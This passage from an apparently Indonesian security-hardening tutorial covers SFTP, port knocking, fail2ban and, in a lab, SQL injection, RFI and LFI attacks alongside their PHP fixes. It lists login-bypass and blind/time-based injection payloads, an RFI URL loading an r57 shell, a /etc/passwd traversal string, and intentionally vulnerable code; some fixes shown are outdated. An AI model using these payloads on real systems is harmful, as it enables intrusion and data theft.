                CVE20171000367  sudo get_process_ttyname() root priv esc
root@ubuntu:/home/kernelpop#
```

45.17 Mengganti FTP dengan SFTP

In computing, the SSH File Transfer Protocol (also Secure File Transfer Protocol, or SFTP) is a network protocol that provides file access, file transfer, and file management over any reliable data stream. It was designed by the Internet Engineering Task Force (IETF) as an extension of the Secure Shell protocol (SSH) version 2.0 to provide secure file transfer capabilities. The IETF Internet Draft states that, even though this protocol is described in the context of the SSH-2 protocol, it could be used in a number of different applications, such as secure file transfer over Transport Layer Security (TLS) and transfer of management information in VPN applications.

This protocol assumes that it is run over a secure channel, such as SSH, that the server has already authenticated the client, and that the identity of the client user is available to the protocol.

Sumber : https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol

```
root@ubuntufresh:/home/data# wget http://192.168.1.9/mysecureshell.deb
--2016-10-27 16:12:46--  http://192.168.1.9/mysecureshell.deb
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 77822 (76K) [application/x-debian-package]
Saving to: 'mysecureshell.deb'

100%[=====================================>] 77,822      --.-K/s   in 0.01s

2016-10-27 16:12:47 (6.40 MB/s) - 'mysecureshell.deb' saved [77822/77822]

root@ubuntufresh:/home/data# dpkg -i mysecureshell.deb
Selecting previously unselected package mysecureshell.
(Reading database ... 58906 files and directories currently installed.)
Unpacking mysecureshell (from mysecureshell.deb) ...
Setting up mysecureshell (1.33) ...
Server is now online.
Starting SFTP Server: MySecureShell is now online
Processing triggers for man-db ...
Processing triggers for ureadahead ...
ureadahead will be reprofiled on next reboot
root@ubuntufresh:/home/data#
```

wget http://192.168.1.9/mysecureshell.deb

Bisa didownload di http://mysecureshell.sourceforge.net/en/download.html

Melakukan koneksi ke SFTP Server

Masukkan seperti di atas

Hasilnya

```
root@ubuntufresh:/etc# sftp-who
--- 1 / 10 clients ---
Global used bandwith : 0 bytes/s / 0 bytes/s
PID: 2610   Name: kurniawan   IP:
        Home: /home/kurniawan
        Status: idle    Path: /
        File:
        Connected: 2016/10/27 16:26:12 [since 02mins 57s]
        Speed: Download: 0 bytes/s [5.00 kbytes/s]  Uploa
]
        Total: Download: 3398 bytes   Upload: 549 bytes

root@ubuntufresh:/etc#
```

Untuk mengetahui user yang mengakses ke SFTP

sftp-who

Mengganti ke direktori yang dilakukan share

```
root@ubuntufresh:/etc/ssh# ls
moduli        sshd_config          ssh_host_ecdsa_key      ssh_host_rsa_key.pub
sftp_config   ssh_host_dsa_key     ssh_host_ecdsa_key.pub  ssh_import_id
ssh_config    ssh_host_dsa_key.pub ssh_host_rsa_key
root@ubuntufresh:/etc/ssh# nano sftp_config
```

cd /etc/ssh

nano sftp_config

```
  GNU nano 2.2.6              File: sftp_config

## MySecureShell Configuration File ##
#Default rules for everybody
<Default>
        GlobalDownload          50k     #total speed download for
                                        # o -> bytes   k -> kilo b
        GlobalUpload            0       #total speed download for
        Download                5k      #limit speed download for
        Upload                  0       #unlimit speed upload for
        StayAtHome              true    #limit client to his home
        VirtualChroot           true    #fake a chroot to the home
        LimitConnection         10      #max connection for the se
        LimitConnectionByUser   1       #max connection for the ac
        LimitConnectionByIP     2       #max connection by ip for
        Home                    /var/www                #overrite home of
                                                        #       environmen
        IdleTimeOut             5m      #(in second) deconnect cli
        ResolveIP               true    #resolve ip to dns
#       IgnoreHidden            true    #treat all hidden files as
#       DirFakeUser             true    #Hide real file/directory
```

Ganti pada nilai Home

Hasilnya saat melakukan koneksi

45.18 Port Knocking

Port knocking adalah suatu metode yang digunakan untuk mengamankan koneksi atau akses port dari user umum

```
root@ubuntufresh:/home/data# sudo apt-get install knockd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  knockd
0 upgraded, 1 newly installed, 0 to remove and 128 not upgraded.
Need to get 27.0 kB of archives.
After this operation, 172 kB of additional disk space will be used.
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring/universe knockd i386 0.5-
untu1 [27.0 kB]
Fetched 27.0 kB in 0s (30.0 kB/s)
Selecting previously unselected package knockd.
(Reading database ... 58906 files and directories currently installed.)
Unpacking knockd (from .../knockd_0.5-3ubuntu1_i386.deb) ...
Processing triggers for man-db ...
Processing triggers for ureadahead ...
```

apt-get install knockd

```
root@ubuntufresh:/home/data# sudo nano /etc/default/knockd
```

nano /etc/default/knockd

```
root@ubuntufresh: /home/data
  GNU nano 2.2.6            File: /etc/default/knockd

#################################################
#
# knockd's default file, for generic sys config
#
#################################################

# control if we start knockd at init or not
# 1 = start
# anything else = don't start
#
# PLEASE EDIT /etc/knockd.conf BEFORE ENABLING
START_KNOCKD=1

# command line options
#KNOCKD_OPTS="-i eth1"

                              [ Read 15 lines ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

Ganti 0 dan menjad 1

```
root@ubuntufresh:/home/data# sudo nano /etc/knockd.conf
```

sudo nano /etc/knockd.conf

```
  GNU nano 2.2.6            File: /etc/knockd.conf

[options]
        UseSyslog

[openSSH]
        sequence    = 7000,8000,9000
        seq_timeout = 5
        command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCE$
        tcpflags    = syn

[closeSSH]
        sequence    = 9000,8000,7000
        seq_timeout = 5
        command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCE$
        tcpflags    = syn
```

Ganti menjadi -I seperti di atas

```
root@ubuntufresh:/home/data# sudo service knockd start
* Starting Port-knock daemon knockd                                    [ OK ]
```

sudo service knockd start

```
root@ubuntufresh:/home/data# sudo iptables -A INPUT -m conntrack --ctstate ESTAB
LISHED,RELATED -j ACCEPT
root@ubuntufresh:/home/data# sudo iptables -A INPUT -p tcp --dport 22 -j REJECT
root@ubuntufresh:/home/data# sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ES
TABLISHED
```

sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j REJECT
sudo iptables -L

```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\rf>nmap 192.168.1.102

Starting Nmap 6.25 ( http://nmap.org ) at 2016-10-26 11:51 Pacific

Nmap scan report for 192.168.1.102
Host is up (0.00s latency).
Not shown: 994 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   filtered ssh
53/tcp   open     domain
80/tcp   open     http
139/tcp  open     netbios-ssn
445/tcp  open     microsoft-ds
MAC Address: 08:00:27:1D:82:E3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.33 seconds

C:\Documents and Settings\rf>
```

sudo iptables-save > firewall.rule
sudo iptables-restore < firewall.rule

```
root@powerx:/home/data# ssh data@192.168.1.102
ssh: connect to host 192.168.1.102 port 22: Connection refused
root@powerx:/home/data# knock 192.168.1.102 7000 8000 9000
root@powerx:/home/data# ssh data@192.168.1.102
data@192.168.1.102's password:

root@powerx:/home/data# knock 192.168.1.102 9000 8000 7000
root@powerx:/home/data# ssh data@192.168.1.102
ssh: connect to host 192.168.1.102 port 22: Connection refused
root@powerx:/home/data#
```

Materi sisipan Cara menonaktifkan Directory Listing

```
root@ubuntufresh:/var/www# mkdir contoh
root@ubuntufresh:/var/www# cd contoh
root@ubuntufresh:/var/www/contoh# touch testing
root@ubuntufresh:/var/www/contoh# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:32:60:dc
          inet addr:192.168.1.172  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe32:60dc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:144535 errors:0 dropped:0 overruns:0 frame:0
          TX packets:138050 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:206714910 (206.7 MB)  TX bytes:8711562 (8.7 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:540 (540.0 B)  TX bytes:540 (540.0 B)

root@ubuntufresh:/var/www/contoh#
```

Membuat folder dan file di atas pada /var/www

Ketika di buka melalui web pada /contoh

```
root@ubuntufresh:/# cd /etc/apache2/sites-available/
root@ubuntufresh:/etc/apache2/sites-available# ls
default  default-ssl
root@ubuntufresh:/etc/apache2/sites-available# nano default
```

Masuk seperti di atas

```
GNU nano 2.2.6                File: default

<VirtualHost *:80>
        ServerAdmin webmaster@localhost

        DocumentRoot /var/www
        <Directory />
                Options FollowSymLinks
                AllowOverride None
        </Directory>
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>

        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
                AllowOverride None
```

Hapus Indexes

```
GNU nano 2.2.6                File: default

<VirtualHost *:80>
        ServerAdmin webmaster@localhost

        DocumentRoot /var/www
        <Directory />
                Options FollowSymLinks
                AllowOverride None
        </Directory>
        <Directory /var/www/>
                Options FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>

        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
```

Hasilnya seperti di atas

```
root@ubuntufresh:/etc/apache2/sites-available# service apache2 restart
 * Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified
domain name, using 127.0.1.1 for ServerName
                                                                        [ OK ]
root@ubuntufresh:/etc/apache2/sites-available#
```

service apache2 restart

192.168.1.172/contoh/

Forbidden

You don't have permission to access /contoh/ on this server.

Apache/2.2.22 (Ubuntu) Server at 192.168.1.172 Port 80

Ketika dibuka melalui browser, hasilnya seperti di atas

Materi sisipan cara mendeteksi PHP Shell di web server

https://github.com/emposha/PHP-Shell-Detector

192.168.1.172/shelldetect.php

File scan done, we have: 2275 files to analize

Suspicious behavior found in: c99.php

Full path:	sinaraccounting/c99.php
Owner:	root
Permission:	0644
Last accessed:	12:02:48 19/11/2017
Last modified:	17:47:46 01/03/2013
MD5 hash:	e0c9da3d8038e3868c949329090faac5
Filesize:	149.65 KB
Fingerprint:	Positive, it`s a c99(php)

Suspicious behavior found in: b374k.php

Full path:	sinaraccounting/b374k.php
Owner:	root
Permission:	0644
Last accessed:	12:02:48 19/11/2017
Last modified:	08:11:22 28/02/2016
MD5 hash:	39f37f0f603e1958658654687e4eebb6

PLEASE WAIT

Apt-get install git

git clone https://github.com/emposha/PHP-Shell-Detector

cd PHP-Shell-Detector

cp -r * ../

cd ..

http://192.168.1.172/shelldetect.php

45.19 SQL Injection pada web login dan pengamanannya

Web login

```
 GNU nano 2.2.6                File: login.php

<?php
    if(isset($_POST['login']))
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $con = mysqli_connect('localhost','root','baseball','sample');
        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username
        if(mysqli_num_rows($result) == 0)
            echo 'Password salah';
        else
            echo '<h1>Berhasil login</h1><p>Halaman rahasia</p>';
    }
    else
    {
?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
            Password: <input type="password" name="password"/><br />
            <input type="submit" name="login" value="Login"/>
        </form>
<?php
    }
?>
</body>
</html>
```

Source code web login pada file index.php

Teknik SQL Injection untuk bypass login

'-'
' '

'&'
'^'
'*'
' or "-'
' or " '
' or "&'
' or "^'
' or "*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
Sumber : http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.htm

```
mysql> select * from users where username=''or true-- ';
    -> ;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| alice     | secret   |
+-----------+----------+
2 rows in set (0.00 sec)
```

Diuji salah satu nya, hasilnya tampil table dan record nya

```
mysql> select * from users where username = "kurniawan"-- "  AND password = "pas
s-salah";
    -> ;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
+-----------+----------+
1 row in set (0.00 sec)
```

Dengan tanda “-- “ maka password akan diabaikan

Harus ada spasi karena jika tidak ada spasi maka akan error, contohnya seperti di bawah ini

```
ysql> select * from users where username = "kurniawa"--"  ND password = "pas
salah";
    "> ;
    "> ;
    "> ;
    "> ;
    "> ;
    "> ;^CCtrl-C -- exit!
borted
root@ubuntufresh:/var/www#
```

Tidak ada spasi

Diimplementasikan di web

Berhasil masuk

Mencoba dengan cara ‘ or 1--

Berhasil login

Tabel Kebenaran untuk memahami mengapa SQL Injection dapat terjadi

Tabel kebenaran AND

TABEL KEBENARAN **AND**		
X	Y	XY
0	0	0
0	1	0
1	0	0
1	1	1

Tabel kebenaran pada OR

TABEL KEBENARAN **OR**		
X	Y	XY
0	0	0
0	1	1
1	0	1
1	1	1

```
  GNU nano 2.2.6              File: login2.php

<?php
    if(isset($_POST['login']))
    {
        $username =  mysql_real_escape_string($_POST['username']);
        $password =  mysql_real_escape_string($_POST['password']);
        $con = mysqli_connect('localhost','root','baseball','sample');
        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username
        if(mysqli_num_rows($result) == 0)
            echo 'Password salah';
        else
            echo '<h1>Berhasil login</h1><p>Halaman rahasia</p>';
    }
    else
    {
?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
            Password: <input type="password" name="password"/><br />
            <input type="submit" name="login" value="Login"/>
        </form>
<?php
    }
?>
</body>
</html>
```

Untuk pengamanan tambahkan mysql_real_escape_string

Pengamanan dengan mysql_real_escape_string(), fungsi PHP yang digunakan untuk memberi backslash di beberapa kode untuk ditampilkan pada halaman, namun saat menyimpan menuju sql, kode akan tetap normal tanpa ada backslash.

Dengan hasil yang muncul dengan tanda backslash pada setiap tanda petik maka serangan SQL Injection seperti sebelumnya tidak jalan, dan jika misal tanpa mysql_real_escape_string maka backslash tidak muncul sama sekali dan dapat menimbulkan SQL Injection.

Mencoba serangan untuk bypass login

Tidak bisa masuk ke halaman yang seharusnya

Tidak bisa masuk ke halaman yang seharusnya

Pada kasus web login dengan session

```
  GNU nano 2.2.6                                    File: proseslogin.php

<?php
session_start();
require_once("koneksi.php");
$username = $_POST['username'];
$pass = $_POST['password'];
$cekuser = mysql_query("SELECT * FROM user WHERE username = '$username'");
$jumlah = mysql_num_rows($cekuser);
$hasil = mysql_fetch_array($cekuser);
if($jumlah == 0) {
echo "<p align='center'>Password salah!<br/>";
echo "<p align='center'><a href='login.php'>Back</a>";
} else {
$_SESSION['username'] = $hasil['username'];
header('location:index.php');
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Form Login</title>
<link rel="stylesheet" type="text/css" href="form_style.css" />
</head>
<body>
<center>
```

Source code web target

Record pada database target

Login secara normal

Login sebagai data2

Serangan SQL Injection dilakukan

Login sebagai data

localhost » loginaja » user

Browse | Structure | SQL | Search | Insert | Export | Import | Operations | Tracking

Sort by key: None

+ Options

	id	username	password	training	nama	umur	alamat	email	nohp	tanggal_daftar
Edit Copy Delete	7	data	baseball		coba	22	data	fwefe@data.com	853232232	2016-10-22
Edit Copy Delete	46	data2	baseball		coba	22	data	fwefe@data.com	853232232	2016-10-22
Edit Copy Delete	48	data3	baseball		coba	22	data	fwefe@data.com	853232232	2016-11-18

Check All / Uncheck All *With selected:* Change Delete Export

Show : Start row: 0 Number of rows: 30 Headers every 100 rows

Query results operations

Login sebagai data karena record paling atas adalah data

Pengamanan

```
GNU nano 2.2.6                                  File: prosesloginn.php

<?php
session_start();
require_once("koneksi.php");
$username = $_POST['username'];
$pass = $_POST['password'];
$cekuser = mysql_query("SELECT * FROM user WHERE username = '$username'");
$jumlah = mysql_num_rows($cekuser);
$hasil = mysql_fetch_array($cekuser);
if($jumlah == 0) {
echo "<p align='center'>Username anda belum terdaftar!<br/>";
echo "<p align='center'><a href='login.php'>Back</a>";
} else {
if($pass <> $hasil['password']) {
echo "<p align='center'>Password anda salah!<br/>";
echo "<p align='center'><a href='login.php'>Back</a>";
} else {
$_SESSION['username'] = $hasil['username'];
header('location:index.php');
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Form Login</title>
<link rel="stylesheet" type="text/css" href="form style.css" />
```

Menambahkan kondisi baru dengan pengecekan dari input password

Serangan SQL Injection dilakukan

Hasilnya

Jika kasusnya mengetahui passwordnya tapi tidak tahu username maka bisa masuk

Login sebagai data

```
<?php
session_start();
require_once("koneksi.php");
$username = mysql_real_escape_string($_POST['username']);
$pass = mysql_real_escape_string($_POST['password']);
$cekuser = mysql_query("SELECT * FROM user WHERE username = '$username'");
$jumlah = mysql_num_rows($cekuser);
$hasil = mysql_fetch_array($cekuser);
if($jumlah == 0) {
echo "<p align='center'>Username anda belum terdaftar!<br/>";
echo "<p align='center'><a href='login.php'>Back</a>";
} else {
if($pass <> $hasil['password']) {
echo "<p align='center'>Password anda salah!<br/>";
echo "<p align='center'><a href='login.php'>Back</a>";
} else {
$_SESSION['username'] = $hasil['username'];
header('location:index.php');
}
}
?>
```

Pengamanan berikutnya dengan mysql_real_escape_string()

Serangan SQL Injection

Tampil seperti di atas

Jika dimasukkan passwordnya

Tampil seperti di atas

Pengembangannya menjadi serangan Blind SQL injection

' or 1 = 1 --

Berikutnya

' or 1 = 5 --

' or database() = 'sample' --

Kesimpulannya berhasil ditebak bahwa nama database nya adalah sample

' or database() = 'login' --

Kesimpulannya nama database nya bukan login

' or substring(database(), 1,1) = 's' --

Kesimpulannya huruf pertama untuk nama database adalah “s”

' or substring(database(), 1,1) = 'b' --

Kesimpulannya huruf pertama pada nama database bukan b

' or substring(database(), 1,1) < 'r' -

' or substring(database(), 1,1) < 's' -

' or substring(database(), 1,1) < 't' -

' or substring(database(), 1,1) = 's' -

Contoh untuk kasus SQL Injection Time based

```
 GNU nano 2.2.6              File: login3.php                          Modified

<?php
    if(isset($_POST['login']))
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $con = mysqli_connect('localhost','root','baseball','sample');
        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$us
        die("web sedang maintenance");
    }
    else
    {
?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
```

Source code program login yang sedang maintenance

' or substring(database(), 2,1) = 'a' --

' or substring(database(), 2,1) = 'b' --

' or IF(1=1, sleep(5), 0) --

' or IF(1=3, sleep(5), 0) -

Tidak ada loading

' or IF(substring(database(), 1,1)='s', sleep(5), 0) -

Kesimpulannya huruf pertama “s” adalah benar

' or IF(substring(database(), 1,1)='r', sleep(5), 0) -

Tidak ada loading

Kesimpulannya huruf pertama “r” adalah salah

45.20 Serangan XSS dan pengamanannya

Source code tanpa filter

Hasilnya saat dilakukan serangan XSS

Pengamanan dengan memberikan strip_tags seperti di atas

Hasilnya seperti di atas

45.21 Serangan memanfaatkan celah remote file inc lusion dan pemgamanannya dari sisi pemrograman dari file PHP.INI

```
GNU nano 2.2.6                File: index.php

          <tr>
            <td><a href="index.php?accounting=download">Download<
          </tr>
          <tr>
            <td><a href="index.php?accounting=contact">Contact Us
          </tr>
        </table>        </td>
        <td width="794">

$file = $_GET['accounting'];
        if(isset($file)){
          $file =  $file.".php";
           include($file);

?>
Welcome
</td>
      </tr>
    </table></td>
  </tr>
```

Tampilan source code PHP yang mempunyai celah RFI

Uji coba menggunakan serangan RFI, hasilnya php shell berjalan dengan baik

```
GNU nano 2.2.6                File: index.php

          <tr>
            <td><a href="index.php?accounting=download">Download<
          </tr>
          <tr>
            <td><a href="index.php?accounting=contact">Contact Us
          </tr>
        </table>        </td>
        <td width="794">

        </div>
<?
$check = array('home');
$file = $_GET['sinaraccounting'];
        if(in_array($file, $check)){
          $file =  $file.".php";
           include($file);
}
?>

Welcome
</td>
```

Contoh pengamanan pada RFI

192.168.1.102/sinaraccounting2/index.php?accounting=http://192.168.1.9/r57.txt?

Home
Profile Sinar Accounting
Testimonial

Hasilnya saat dieksploitasi kembali dengan RFI, tampilannya seperti di atas

Kembali lagi pada web yang mempunyai celah RFI yang dapat menjalankan PHP Shell yang dimasukkan dari URL.

Pengamanan dengan membuat option allow_url_include = Off di file PHP.INI.

192.168.1.102/sinaraccounting2/index.php?accounting=http://192.168.1.9/r57.txt?

Cari

Home
Profile Sinar Accounting
Testimonial

Hasilnya web tidak dapat dieksploitasi dengan serangan yang memanfaatkan celah RFI

45.22 SQL Injection melalui URL dan pengamanannya dari sisi pemrograman

```
head>
ody>
        <div id="wrap">
        <div id="header"></div>
                <div id="menu">
                        <?php require_once "menu.php"; ?>
                </div>
        <div id="content">
                <?php
                $artikel = "select * from tbl_artikel where id_artikel = $_GET[postid]";
                $artikel_query = mysql_query($artikel);
                while ($post = mysql_fetch_array($artikel_query))
                {
                $id = $post['id_artikel'];
                $tanggalpublish = $post['tanggal_publish'];
                $penulis = $post['penulis'];
                $judulberita = $post['judul_berita'];
                $isiberita = nl2br($post['isi_berita']);
                $status = $post['status'];
```

Contoh source code PHP yang mempunyai celah SQL Injection

Saat dieksploitasi dengan havij hasilnya seperti di atas

```
View   Help
                <?php require_once "menu.php"; ?>
        </div>
<div id="content">
        <?php
        $postid = abs((int) $_GET['postid']);
        $artikel = "select * from tbl_artikel where id_artikel = $postid";
        $artikel_query = mysql_query($artikel);
        while ($post = mysql_fetch_array($artikel_query))
        {
        $id = $post['id_artikel'];
        $tanggalpublish = $post['tanggal_publish'];
        $penulis = $post['penulis'];
```

Diamankan dengan cara seperti di atas

Hasilnya serangan SQL Injection tidak jalan sesuai harapan

45.23 Serangan yang memanfaatkan celah Local File Inclusion dan pengamanannya dari sisi pemrograman dan setting pada file PHP.INI

```
        </div>
        <p>
          <?
$path = '/opt/lampp/htdocs/naruto/modules';
$file = $_GET['halaman'];
        if(isset($file)){
          $file =  $path . "/" . $file.".php";
           include($file);
}
?>
        </p>
        </td>
      </tr>
    </table></td>
  </tr>
```

Contoh source code PHP yang mempunyai celah LFI

Contoh cara eksploitasi :
http://192.168.1.217/naruto/index.php?halaman=../../../../../../etc/passwd%00

Hasilnya muncul user pada linux

```
        </td>
        <td width="786">

        </div>
        <p>
<?
$check = array('home');
$path = '/opt/lampp/htdocs/naruto2/modules';
$file = $_GET['halaman'];
        if(in_array($file, $check)){
          $file =  $path . "/" . $file.".php";
           include($file);
}
?>
        </p>
        </td>
```

Pengamanan seperti di atas

Hasilnya setelah diperbaiki

Pengamanan dari sisi file PHP.INI :

Tampilan web masih punya celah LFI

Magic_quotes_gpc dibuat On

Hasilnya setelah diamankan dari serangan LFI

45.24 Teknik mengamankan SSH Server dari serangan brute force dengan cara melakukan banned ip attacker

```
Last login: Wed Mar  1 05:34:00 2017
data@ubuntu1610:~$ sudo su
[sudo] password for data:
root@ubuntu1610:/home/data# apt-get update
Get:1 http://security.ubuntu.com/ubuntu yakkety-security InRelease [102 kB]
Hit:2 http://us.archive.ubuntu.com/ubuntu yakkety InRelease
Get:3 http://us.archive.ubuntu.com/ubuntu yakkety-updates InRelease [102 kB]
Get:4 http://security.ubuntu.com/ubuntu yakkety-security/main i386 Packages [99.
6 kB]
Get:5 http://us.archive.ubuntu.com/ubuntu yakkety-backports InRelease [102 kB]
Get:6 http://security.ubuntu.com/ubuntu yakkety-security/universe i386 Packages
[40.4 kB]
Get:7 http://security.ubuntu.com/ubuntu yakkety-security/universe Translation-en
 [27.0 kB]
Get:8 http://us.archive.ubuntu.com/ubuntu yakkety-updates/main i386 Packages [19
4 kB]
Get:9 http://us.archive.ubuntu.com/ubuntu yakkety-updates/universe i386 Packages
 [115 kB]
Fetched 783 kB in 14s (53.0 kB/s)
Reading package lists... Done
root@ubuntu1610:/home/data#
```

sudo apt update

```
root@ubuntu1610:/home/data# sudo apt install fail2ban
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  python3-pyinotify whois
Suggested packages:
  mailx monit python-pyinotify-doc
The following NEW packages will be installed:
  fail2ban python3-pyinotify whois
0 upgraded, 3 newly installed, 0 to remove and 126 not upgraded.
Need to get 299 kB of archives.
After this operation, 1,534 kB of additional disk space will be used.
Do you want to continue? [Y/n]
```

sudo apt install fail2ban

```
After this operation, 1,534 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://us.archive.ubuntu.com/ubuntu yakkety/universe i386 fail2ban all 0
.5-1 [238 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu yakkety/main i386 python3-pyinotify
1 0.9.6-1 [24.7 kB]
Get:3 http://us.archive.ubuntu.com/ubuntu yakkety/main i386 whois i386 5.2.12
5.8 kB]
Fetched 299 kB in 4s (63.9 kB/s)
Selecting previously unselected package fail2ban.
(Reading database ... 64726 files and directories currently installed.)
Preparing to unpack .../0-fail2ban_0.9.5-1_all.deb ...
Unpacking fail2ban (0.9.5-1) ...
Selecting previously unselected package python3-pyinotify.
Preparing to unpack .../1-python3-pyinotify_0.9.6-1_all.deb ...
Unpacking python3-pyinotify (0.9.6-1) ...
Selecting previously unselected package whois.
Preparing to unpack .../2-whois_5.2.12_i386.deb ...
Unpacking whois (5.2.12) ...
Setting up fail2ban (0.9.5-1) ...

Progress: [ 45%] [##########################.................................]
```

Jika tidak bisa diinstall maka bisa download di
https://packages.debian.org/sid/all/fail2ban/download

Setelah di download lalu jalankan dengan perintah

dpkg -i (namafilefail2ban).deb

Setelah ikuti berikutnya dibawah ini

```
Processing triggers for man-db (2.7.5-1) ...
Setting up python3-pyinotify (0.9.6-1) ...
root@ubuntu1610:/home/data# nano /etc/fail2ban/jail.conf
```

nano /etc/fail2ban/jail.conf

```
  nano 2.6.3              File: /etc/fail2ban/jail.conf

#
# WARNING: heavily refactored in 0.9.0 release.  Please review and
#          customize settings for your setup.
#
# Changes:  in most of the cases you should not modify this
#           file, but provide customizations in jail.local file,
#           or separate .conf files under jail.d/ directory, e.g.:
#
# HOW TO ACTIVATE JAILS:
#
# YOU SHOULD NOT MODIFY THIS FILE.
#
# It will probably be overwritten or improved in a distribution update.
#
# Provide customizations in a jail.local file or a jail.d/customisation.local.
# For example to change the default bantime for all jails and to enable the
# ssh-iptables jail the following (uncommented) would appear in the .local file.
# See man 5 jail.conf for details.
#
                                [ Read 847 lines ]
^G Get Help  ^O Write Out ^W Where Is  ^K Cut Text  ^J Justify   ^C Cur Pos
^X Exit      ^R Read File ^\ Replace   ^U Uncut Text^T To Spell  ^_ Go To Line
```

```
  nano 2.6.3              File: /etc/fail2ban/jail.conf

# External command that will take an tagged arguments to ignore, e.g. <i
# and return true if the IP is to be ignored. False otherwise.
#
# ignorecommand = /path/to/command <ip>
ignorecommand =

# "bantime" is the number of seconds that a host is banned.
bantime  = 600

# A host is banned if it has generated "maxretry" during the last "findt
# seconds.
findtime  = 600

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

# "backend" specifies the backend used to get files modification.
# Available options are "pyinotify", "gamin", "polling", "systemd" and "
# This option can be overridden in each jail as well.
                                [ Read 847 lines ]
```

```
  nano 2.6.3                File: /etc/fail2ban/jail.conf

#

[sshd]

port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s


[sshd-ddos]
# This jail corresponds to the standard configuration in Fail2ba
# The mail-whois action send a notification e-mail with a whois
# in the body.
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s


[dropbear]
```

service fail2ban restart

```
192.168.1.101 - PuTTY
login as: data
data@192.168.1.101's password:
Access denied
data@192.168.1.101's password:
Access denied
data@192.168.1.101's password:
Access denied
data@192.168.1.101's password:
Access denied
data@192.168.1.101's password:
```

```
root@ubuntu1610:/home/data# fail2ban-client status
Status
|- Number of jail:      1
`- Jail list:   sshd
root@ubuntu1610:/home/data#
```

fail2ban-client status

```
root@ubuntu1610:/home/data# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     5
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     1
   `- Banned IP list:   192.168.1.127
root@ubuntu1610:/home/data#
```

fail2ban-client status sshd

```
root@ubuntu1610:/home/data#
root@ubuntu1610:/home/data# fail2ban-client set sshd unbanip 192.168.1.127
192.168.1.127
```

fail2ban-client set sshd unbanip 192.168.1.127

```
data@ubuntu1610: ~
login as: data
data@192.168.1.101's password:
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-22-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

130 packages can be updated.
77 updates are security updates.


Last login: Wed Mar  1 05:35:25 2017 from 192.168.1.9
data@ubuntu1610:~$
```

```
192.168.1.101 - PuTTY
login as: data
data@192.168.1.101's password:
Access denied
